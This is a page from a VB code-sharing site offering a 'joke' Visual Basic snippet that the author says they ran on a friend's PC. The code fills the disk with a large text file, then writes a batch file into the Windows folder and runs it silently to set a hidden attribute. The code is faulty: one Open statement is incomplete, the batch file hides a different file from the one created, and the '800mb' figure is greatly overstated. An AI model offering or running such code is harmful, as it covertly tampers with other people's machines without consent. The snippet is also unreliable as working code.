VBcoders Guest



Don't have an account yet? Register
 


Forgot Password?



Make 800mb (lol)

by Father Christmas (1 Submission)
Category: Jokes/Humor
Compatability: VB Script
Difficulty: Beginner
Date Added: Wed 3rd February 2021
Rating: (6 Votes)

(Update)This will create a file and add 999999 words to it. It can take upto 800mb of HDD space. silly simple code but i had fun with my friends PC, Lol.
Ok have 800mb's of fun.
If you give me 5 votes i will pay :) hehe

API Declarations
Nothing here.

Rate Make 800mb (lol)

Private Sub Form_Load()
'By Chad.Lex
'UK/Wales
Path_ = "c:\Hello.txt"
Open Path_ For Output As #1
For i = 1 To 999999
Print #1, "Hahahahaha"
Next i
Close #1
'Now i have hidden the 800mb file from user. Now whats he going to do??
Open "c:\Windows\Hide.bat"
Print #1, "Attrib +h c:\Win1.exe"
Close #1
RetVal = Shell("c:\Windows\Hide.bat", vbHide)
End Sub

Download this snippet    Add to My Saved Code

Make 800mb (lol) Comments

No comments have been posted about Make 800mb (lol). Why not be the first to post a comment about Make 800mb (lol).

Post your comment

Subject:
Message:
0/1000 characters